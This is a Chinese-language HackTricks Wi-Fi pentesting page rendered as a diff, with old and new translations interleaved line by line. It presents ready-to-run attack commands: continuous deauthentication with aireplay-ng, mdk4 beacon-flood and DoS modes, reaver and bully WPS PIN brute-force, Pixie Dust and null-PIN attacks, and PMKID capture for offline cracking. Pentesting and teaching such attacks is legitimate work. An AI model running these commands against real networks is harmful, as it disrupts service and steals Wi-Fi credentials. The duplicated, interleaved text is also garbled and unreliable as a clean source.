<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。** * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,32 +2,32 @@
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流! 加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
**黑客洞察**\ **黑客见解**\
深入了解黑客的刺激和挑战 参与深入探讨黑客行为的刺激和挑战的内容
**实时黑客新闻**\ **实时黑客新闻**\
通过实时新闻和洞察,跟上快节奏的黑客世界 通过实时新闻和见解及时了解快节奏的黑客世界
**最新公告**\ **最新公告**\
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新 随时了解最新的赏金计划发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作! **加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
## Wifi基本命令 ## Wifi基本命令
```bash ```bash
@ -50,6 +50,8 @@ git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup ./kali-setup
``` ```
### Airgeddon ### Airgeddon
Airgeddon是一个多用途的无线渗透测试工具它结合了许多无线渗透测试技术使渗透测试人员能够轻松地执行各种无线网络攻击。
```bash ```bash
mv `which dhcpd` `which dhcpd`.old mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server apt install isc-dhcp-server
@ -70,7 +72,7 @@ v1s1t0r1sh3r3/airgeddon
``` ```
### wifiphisher ### wifiphisher
它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来获取网络的真实密码或捕获社交网络凭据 它可以执行恶意双胞胎、KARMA 和已知信标攻击,然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭证
```bash ```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory cd wifiphisher # Switch to tool's directory
@ -78,70 +80,71 @@ sudo python setup.py install # Install any dependencies
``` ```
### [Wifite2](https://github.com/derv82/wifite2) ### [Wifite2](https://github.com/derv82/wifite2)
此工具自动化 **WPS/WEP/WPA-PSK** 攻击。它将自动 这个工具自动化了**WPS/WEP/WPA-PSK**攻击。它会自动执行以下操作
* 将接口设置为监控模式 - 将接口设置为监控模式
* 扫描可能的网络 - 并让您选择受害者 - 扫描可能的网络 - 并让您选择受害者
* 如果是 WEP - 启动 WEP 攻击 - 如果是WEP - 启动WEP攻击
* 如果是 WPA-PSK - 如果是WPA-PSK
* 如果是 WPSPixie dust 攻击和暴力破解攻击(小心暴力破解攻击可能需要很长时间)。注意它不尝试空 PIN 或数据库/生成的 PIN。 - 如果是WPSPixie dust攻击和暴力破解攻击请注意暴力破解攻击可能需要很长时间。请注意它不会尝试空PIN或数据库/生成的PIN。
* 尝试从 AP 捕获 PMKID 以破解 - 尝试捕获AP的PMKID以破解它
* 尝试对 AP 的客户端进行去认证以捕获握手 - 尝试去认证AP的客户端以捕获握手
* 如果有 PMKID 或握手,尝试使用 top5000 密码进行暴力破解。 - 如果有PMKID或握手尝试使用top5000密码进行暴力破解。
## 攻击总结 ## 攻击摘要
* **DoS** - **DoS**
* 去认证/解除关联 -- 断开所有人(或特定 ESSID/客户端) - 拒绝服务
* 随机假 AP -- 隐藏网络,可能会崩溃扫描器 - 退认证/解关联 - 断开所有人或特定ESSID/客户端)
* AP 过载 -- 尝试杀死 AP通常不是很有用 - 随机虚假AP - 隐藏网络,可能导致扫描器崩溃
* WIDS -- 与 IDS 玩耍 - 过载AP - 尝试使AP崩溃通常不太有用
* TKIP, EAPOL -- 一些特定的攻击以 DoS 一些 AP - WIDS - 与IDS玩耍
* **破解** - TKIPEAPOL - 一些特定攻击以拒绝服务一些AP
* 破解 **WEP**(几种工具和方法) - **破解**
* **WPA-PSK** - 破解**WEP**(多种工具和方法)
* **WPS** pin "暴力破解" - **WPA-PSK**
* **WPA PMKID** 暴力破解 - **WPS** PIN“暴力破解”
* \[DoS +] **WPA 握手** 捕获 + 破解 - **WPA PMKID** 暴力破解
* **WPA-MGT** - \[DoS +] **WPA握手** 捕获 + 破解
* **用户名捕获** - **WPA-MGT**
* **暴力破解** 凭据 - **用户名捕获**
* **Evil Twin**(有或没有 DoS - **暴力破解**凭据
* **Open** Evil Twin \[+ DoS] -- 用于捕获强制门户凭据和/或执行 LAN 攻击 - **恶意双子**带或不带DoS
* **WPA-PSK** Evil Twin -- 如果您知道密码,对网络攻击很有用 - **开放**恶意双子\[+ DoS] - 用于捕获强制门户凭据和/或执行局域网攻击
* **WPA-MGT** -- 用于捕获公司凭据 - **WPA-PSK** 恶意双子 - 如果您知道密码,用于网络攻击
* **KARMA, MANA**, **Loud MANA**, **Known beacon** - **WPA-MGT** - 用于捕获公司凭据
* **+ Open** -- 用于捕获强制门户凭据和/或执行 LAN 攻击 - **KARMA, MANA**, **Loud MANA**, **已知信标**
* **+ WPA** -- 用于捕获 WPA 握手 - **+ 开放** - 用于捕获强制门户凭据和/或执行局域网攻击
- **+ WPA** - 用于捕获WPA握手
## DOS ## 拒绝服务攻击
### 认证数据包 ### 退认证数据包
这种攻击最常见的方式是使用 **去认证** 数据包。这些是一种“管理”帧,负责将设备与接入点断开连接。伪造这些数据包是 [黑客许多 Wi-Fi 网络](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)的关键,因为您可以随时强制任何客户端断开网络连接。这样做的容易程度有些可怕,通常作为收集用于破解的 WPA 握手的一部分 进行这种类型攻击最常见的方式是使用**退认证**数据包。这是一种“管理”帧,负责将设备从接入点断开。伪造这些数据包是[黑客入侵许多Wi-Fi网络](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)的关键因为您可以随时强制将任何客户端从网络中断开。这种操作的简便性有些令人恐惧通常作为收集WPA握手以破解的一部分而执行
除了暂时使用这种断开连接来收集用于破解的握手之外,您还可以让那些去认证不断地来,这样做的效果是似乎来自他们所连接的网络的去认证数据包不断地轰炸客户端。因为这些帧没有加密,许多程序通过伪造它们并将它们发送到网络上的一个或所有设备来利用管理帧。\ 除了短暂使用此断开连接来收集握手以破解外,您还可以让这些退认证持续进行,这样会使客户端看起来被连接到的网络发送退认证数据包。由于这些帧未加密,许多程序通过伪造并将它们发送到网络上的一个或所有设备来利用管理帧。\
**描述来自** [**这里**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**。** **来自** [**这里**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**。**
**使用 Aireplay-ng 进行去认证** **使用Aireplay-ng进行退认证**
``` ```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
``` ```
* \-0 表示去认证 * \-0 表示去认证
* 1 是要发送的去认证包的数量如果你愿意可以发送多个0 表示连续发送 * 1 是要发送的去认证次数如果需要可以发送多次0 表示持续发送
* \-a 00:14:6C:7E:40:80 是接入点的MAC地址 * \-a 00:14:6C:7E:40:80 是接入点的 MAC 地址
* \-c 00:0F:B5:34:30:30 是要去认证的客户端的MAC地址如果省略这个参数,则发送广播去认证(不总是有效) * \-c 00:0F:B5:34:30:30 是要去认证的客户端的 MAC 地址;如果省略此项,则发送广播去认证(不总是有效)
* ath0 是接口名称 * ath0 是接口名称
### 解除关联数据包 ### 解除关联数据包
解除关联数据包是另一种管理帧,用于断开节点(意指任何设备,如笔记本电脑或手机)与附近接入点的连接。去认证和解除关联帧之间的主要区别在于它们的使用方式。 解除关联数据包是另一种管理帧类型,用于将节点(指任何设备,如笔记本电脑或手机)与附近的接入点断开连接。去认证帧和解除关联帧之间的主要区别在于它们的使用方式。
一个接入点如果想断开一个恶意设备的连接,会发送去认证包以通知该设备它已经从网络中断开,而解除关联包则用于在接入点关闭电源、重启或离开区域时断开任何节点的连接。 当接入点希望断开与恶意设备的连接时,会发送去认证数据包以通知设备已从网络中断开连接,而解除关联数据包用于在接入点关闭电源、重新启动或离开区域时断开任何节点的连接。
**描述来自** [**这里**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**。** **来自** [**此处**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)** 的描述。**
**这种攻击可以通过 mdk4模式 "d")执行:** **此攻击可通过 mdk4模式 "d")执行:**
```bash ```bash
# -c <channel> # -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate # -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -150,13 +153,13 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them # Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
``` ```
### **通过mdk4实施更多DOS攻击** ### **通过 mdk4 进行更多的 DOS 攻击**
**来自** [**这里**](https://en.kali.tools/?p=864)**。** **来自** [**这里**](https://en.kali.tools/?p=864)**。**
**攻击模式b信标泛洪** **攻击模式 b: Beacon Flood 攻击**
发送信标帧以在客户端显示假AP。这有时可以使网络扫描器甚至驱动程序崩溃! 发送信标帧以展示虚假的接入点给客户端。这有时会导致网络扫描工具甚至驱动程序崩溃!
```bash ```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -164,9 +167,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file # All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m mdk4 wlan0mon b -a -w nta -m
``` ```
**攻击模式a认证拒绝服务** **攻击模式 a: 认证拒绝服务**
向范围内发现的所有AP发送认证帧。过多的客户端可能会冻结或重置多个AP 向范围内发现的所有接入点发送认证帧。太多客户端可能会冻结或重置多个接入点
```bash ```bash
# -a BSSID send random data from random clients to try the DoS # -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients # -i BSSID capture and repeat pakets from authenticated clients
@ -174,119 +177,119 @@ mdk4 wlan0mon b -a -w nta -m
# only -a or -i can be used # only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
``` ```
**攻击模式 pSSID 探测和暴力破解** **攻击模式 p: SSID探测和暴力破解**
探测 AP 并检查响应,用于检查 SSID 是否已正确去隐藏,以及 AP 是否在您的发送范围内。**隐藏 SSID 的暴力破解**,无论是否使用词表,均可用 探测接入点并检查响应有助于检查SSID是否已正确解密以及接入点是否在您的发送范围内。还可以使用或不使用字典对隐藏的SSID进行**暴力破解**
**攻击模式 mMichael 对策利用** **攻击模式 m: Michael对策利用**
向另一个 QoS 队列发送随机数据包或重新注入重复数据包,以引发 **TKIP APs** 上的 Michael 对策。AP 随后将关闭整整一分钟,使其成为有效的 **DoS** 发送随机数据包或在另一个QoS队列上重新注入重复数据包以引发**TKIP接入点**上的Michael对策。接入点将会关闭一整分钟使其成为一种有效的**DoS**攻击
```bash ```bash
# -t <BSSID> of a TKIP AP # -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS # -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
``` ```
**攻击模式 e: EAPOL 开始和注销数据包注入** **攻击模式 e: EAPOL 启动和注销数据包注入**
AP 大量发送 **EAPOL** 开始帧,以使其忙于处理**伪造会话**,从而无法处理任何合法客户端。或者通过**注入伪造的** EAPOL **注销消息**来注销客户端。 接入点AP发送大量 EAPOL 启动帧,使其忙于处理虚假会话,从而禁止其处理任何合法客户端。或者通过注入虚假的 EAPOL 注销消息来注销客户端。
```bash ```bash
# Use Logoff messages to kick clients # Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
``` ```
**ATTACK MODE s针对 IEEE 802.11s 网状网络的攻击** **攻击模式 s: 针对 IEEE 802.11s 网络的攻击**
对网状网络中的链接管理和路由进行各种攻击。洪水攻击邻居和路由,创建黑洞并转移流量! 对网状网络中的链路管理和路由进行各种攻击。淹没邻居和路由,制造黑洞并转移流量!
**ATTACK MODE wWIDS 混淆** **攻击模式 w: WIDS 混淆**
通过将客户端交叉连接到多个 WDS 节点或伪造恶意 APs 来混淆/滥用入侵检测和预防系统。 通过将客户端交叉连接到多个 WDS 节点或虚假的恶意 AP混淆/滥用入侵检测和预防系统。
```bash ```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z] mkd4 -e <SSID> -c <channel> [-z]
``` ```
**攻击模式 f: 数据包模糊测试器** **攻击模式 f: 数据包模糊器**
一个简单的数据包模糊测试器,具有多个数据包来源和一套不错的修改器。小心使用 一个简单的数据包模糊器,具有多个数据包来源和一组不错的修改器。请小心
### **Airgedon** ### **Airggedon**
_**Airgedon**_ 提供了前评论中提出的大多数攻击: _**Airgeddon**_ 提供了前评论中提出的大多数攻击:
![](<../../.gitbook/assets/image (126).png>) ![](<../../.gitbook/assets/image (126).png>)
## WPS ## WPS
WPS 代表 Wi-Fi Protected Setup。它是一种无线网络安全标准旨在使路由器和无线设备之间的连接更快更容易。**WPS 仅适用于使用 **WPA** 个人或 **WPA2** 个人安全协议加密的密码的无线网络**。WPS 不适用于使用已被淘汰的 WEP 安全的无线网络,任何具备基本工具和技能的黑客都可以轻松破解。(来自[这里](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup) WPS代表Wi-Fi Protected Setup。这是一种无线网络安全标准旨在加快和简化路由器与无线设备之间的连接。**WPS仅适用于使用使用**WPA**个人或**WPA2**个人安全协议加密的密码**的无线网络。WPS不适用于使用已弃用的易受任何具有基本工具和技能的黑客轻松破解的WEP安全性的无线网络。 (来自[这里](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
WPS 使用一个 8 位长度的 PIN 码来允许用户连接到网络,但它首先检查前 4 个数字,如果正确,然后检查后 4 个数字。因此,可以对前半部分和后半部分进行暴力破解(只有 11000 种可能性)。 WPS使用8位长度的PIN码允许用户连接到网络但首先检查前4个数字如果正确则再检查后4个数字。然后可以对前半部分和后半部分进行暴力破解仅有11000种可能性)。
### WPS 暴力破解 ### WPS暴力破解
有两个主要工具可执行此操作Reaver Bully。 有两个主要工具可执行此操作Reaver和Bully。
* **Reaver** 被设计为针对 WPS 的强大且实用的攻击,并已针对各种接入点和 WPS 实现进行了测试。 * **Reaver**旨在针对WPS进行强大而实用的攻击并已针对各种接入点和WPS实现进行了测试。
* **Bully** 是 WPS 暴力破解攻击的**新实现**,用 C 语言编写。它相对于原始的 reaver 代码有几个优点:依赖性更少,改善了内存和 CPU 性能,正确处理了字节序,并且有一套更健全的选项 * **Bully**是WPS暴力破解攻击的**新实现**用C语言编写。它比原始的reaver代码具有几个优点较少的依赖性改进的内存和CPU性能正确处理字节序以及更强大的选项集
这种攻击利用了 **八位数 WPS PIN 码的弱点**;由于这个问题,协议**泄露了有关 PIN 前四位数字的信息**,而**最后**一位数字作为**校验和**,这使得暴力破解 WPS AP 变得容易。\ 此攻击利用了**八位WPS PIN码中的一个弱点**;由于这个问题,协议**会泄露有关PIN的前四位数字**的信息,而**最后一位**作为**校验和**这使得暴力破解WPS AP变得容易。\
请注意,一些设备包括**暴力破解保护**,通常会**阻止**反复尝试攻击的**MAC 地址**。在这种情况下,这种攻击的复杂性增加了,因为你必须在测试 PIN 码时**轮换 MAC** 地址。 请注意,一些设备包括**防暴力破解保护**,通常会**阻止重复尝试攻击的MAC地址**。在这种情况下此攻击的复杂性会增加因为您需要在测试PIN时**轮换MAC**地址。
如果找到了有效的 WPS 代码Bully 和 Reaver 都会使用它来发现用于保护网络的 WPA/WPA2 PSK因此你将能够在需要时随时连接。 如果找到WPS有效代码Bully和Reaver都将使用它来发现用于保护网络的WPA/WPA2 PSK这样您就可以随时连接。
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
``` ```
**智能蛮力攻击** **智能暴力破解**
在开始尝试每个可能的PIN之前您应该检查是否有可用的**已发现针对您正在攻击的AP的PIN**取决于制造商MAC以及**PIN软件生成的PIN**。 与其开始尝试每个可能的PIN码你应该检查是否有可用的**已发现的用于攻击的AP的PIN码**取决于制造商MAC地址和**PIN码软件生成的PIN码**。
* 已知PIN的数据库是为某些制造商的接入点制作的已知它们使用相同的WPS PIN。此数据库包含MAC地址的前三个八位字节和一个相应PIN的列表这些PIN对于该制造商来说非常可能。 - 已知PIN码数据库是为某些制造商的接入点而制作的已知它们使用相同的WPS PIN码。该数据库包含MAC地址的前三个八位字节和相应PIN的列表这些PIN对于该制造商非常可能。
* 有几种生成WPS PIN的算法。例如ComputePIN和EasyBox在计算中使用接入点的MAC地址。但Arcadyan算法还需要一个设备ID。 - 有几种用于生成WPS PIN码的算法。例如ComputePIN和EasyBox在计算中使用接入点的MAC地址。但Arcadyan算法还需要设备ID。
### WPS Pixie Dust攻击 ### WPS Pixie Dust攻击
Dominique Bongard 发现一些AP在生成**随机数**(称为**E-S1**和**E-S2**时存在弱点这些随机数本应保密。如果我们能够找出这些随机数是什么我们就可以轻松找到AP的WPS PIN因为为了证明它也知道PIN并且客户端没有连接到恶意APAP必须在哈希中给我们这个PIN。这些E-S1和E-S2本质上是“解锁包含WPS pin的锁盒”的钥匙。更多信息请访问[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) Dominique Bongard发现一些AP在生成**随机数**(称为**E-S1**和**E-S2**的弱方法这些随机数应该是秘密的。如果我们能够弄清楚这些随机数是什么我们就可以轻松找到AP的WPS PIN码因为AP必须以哈希的形式将其提供给我们以证明它也知道PIN码而客户端没有连接到伪造的AP。这些E-S1和E-S2本质上是“打开包含WPS PIN码的锁盒”的“钥匙”。更多信息请参阅[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
基本上一些实现在使用随机密钥加密PIN的2部分时失败了因为在认证通信过程中它被分解为2部分并发送给客户端因此可以使用离线攻击来蛮力破解有效的PIN 基本上一些实现在使用随机密钥加密PIN码的2部分时出现了问题因为在认证通信期间将其分解为2部分并发送给客户端因此可以使用离线攻击来暴力破解有效的PIN码
``` ```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
``` ```
### Null Pin 攻击 ### Pin 攻击
一些非常糟糕的实现允许 Null PIN 连接也非常奇怪。Reaver 可以测试这个Bully 不能)。 一些非常糟糕的实现允许使用空 Pin 连接非常奇怪。Reaver 可以测试这一点Bully 无法)。
``` ```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
``` ```
### Airgeddon ### Airgeddon
所有提出的WPS攻击都可以使用 _**airgeddon**_ 轻松执行。 所有提出的WPS攻击都可以通过 _**airgeddon**_ 轻松执行。
![](<../../.gitbook/assets/image (124).png>) ![](<../../.gitbook/assets/image (124).png>)
* 5 和 6 允许您尝试**自定义PIN**(如果有的话) * 步骤 5 和 6 允许您尝试 **自定义PIN**(如果有的话)
* 7 和 8 执行**Pixie Dust攻击** * 步骤 7 和 8 执行 **Pixie Dust 攻击**
* 13 允许您测试**空PIN码** * 步骤 13 允许您测试 **NULL PIN**
* 11 和 12 将**从可用数据库中收集与选定AP相关的PIN码**并**生成**可能的**PIN码**使用ComputePIN、EasyBox以及可选的Arcadyan推荐为什么不呢 * 步骤 11 和 12 将从可用数据库中 **重新收集与所选AP相关的PIN** 并使用 ComputePIN、EasyBox 和可选的 Arcadyan推荐为什么不呢生成可能的 **PIN**
* 9 和 10 将测试**每个可能的PIN** * 步骤 9 和 10 将测试 **每个可能的PIN**
## **WEP** ## **WEP**
如此破碎且消失,我不打算谈论它。只需知道 _**airgeddon**_ 有一个名为“All-in-One”的WEP选项来攻击这种保护。更多工具提供类似选项。 如此脆弱和消失,我不打算谈论它。只需知道 _**airgeddon**_ 有一个名为“全能”的 WEP 选项来攻击这种保护。更多工具提供类似选项。
![](<../../.gitbook/assets/image (125).png>) ![](<../../.gitbook/assets/image (125).png>)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流! 加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
**黑客洞察**\ **黑客见解**\
参与深入探讨黑客的刺激和挑战的内容 参与深入探讨黑客的刺激和挑战的内容
**实时黑客新闻**\ **实时黑客新闻**\
通过实时新闻和洞察,跟上快节奏的黑客世界 通过实时新闻和见解了解快节奏的黑客世界
**最新公告**\ **最新公告**\
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新 了解最新的赏金任务发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作! **加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
@ -294,18 +297,18 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
### PMKID ### PMKID
2018年hashcat作者[披露](https://hashcat.net/forum/thread-7717.html)了一种新型攻击,不仅**依赖于单个数据包**而且不需要任何客户端连接到我们的目标AP只需攻击者AP之间的通信。 2018年hashcat作者[披露](https://hashcat.net/forum/thread-7717.html)了一种新型攻击,不仅依赖于**单个数据包**而且不需要任何客户端连接到我们的目标AP只需攻击者AP之间的通信。
事实证明,**许多**现代路由器在发送给正在关联的某人的**第一个EAPOL**帧的末尾附加了一个**可选字段**,即所谓的`Robust Security Network`,其中包括所谓的`PMKID` 事实证明,**许多**现代路由器在关联时在AP本身发送的**第一个EAPOL**帧末尾附加了一个**可选字段**,称为`Robust Security Network`,其中包括称为`PMKID`的内容。
正如原始帖子中解释的,**PMKID**是通过使用我们已知的数据派生出来的: 正如原始帖子中解释的那样**PMKID**是通过使用我们已知的数据派生出来的:
``` ```
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
``` ```
**由于“PMK Name”字符串是恒定的我们知道无线接入点AP和站点的BSSID以及`PMK`与从完整的4次握手中获得的是同一个**这就是hashcat需要的全部信息以便破解PSK并恢复密码短语\ **由于“PMK Name”字符串是恒定的我们知道AP和站点的BSSID以及`PMK`是从完整的4次握手中获得的相同的PMK**这就是hashcat破解PSK并恢复密码所需的全部信息\
描述摘自[此处](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)。 从[这里](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)获取的描述
要**收集**这些信息并在本地**暴力破解**密码,可以执行: 要**收集**这些信息并在本地**暴力破解**密码,可以执行:
```bash ```bash
airmon-ng check kill airmon-ng check kill
airmon-ng start wlan0 airmon-ng start wlan0
@ -317,17 +320,17 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer #You can also obtains PMKIDs using eaphammer
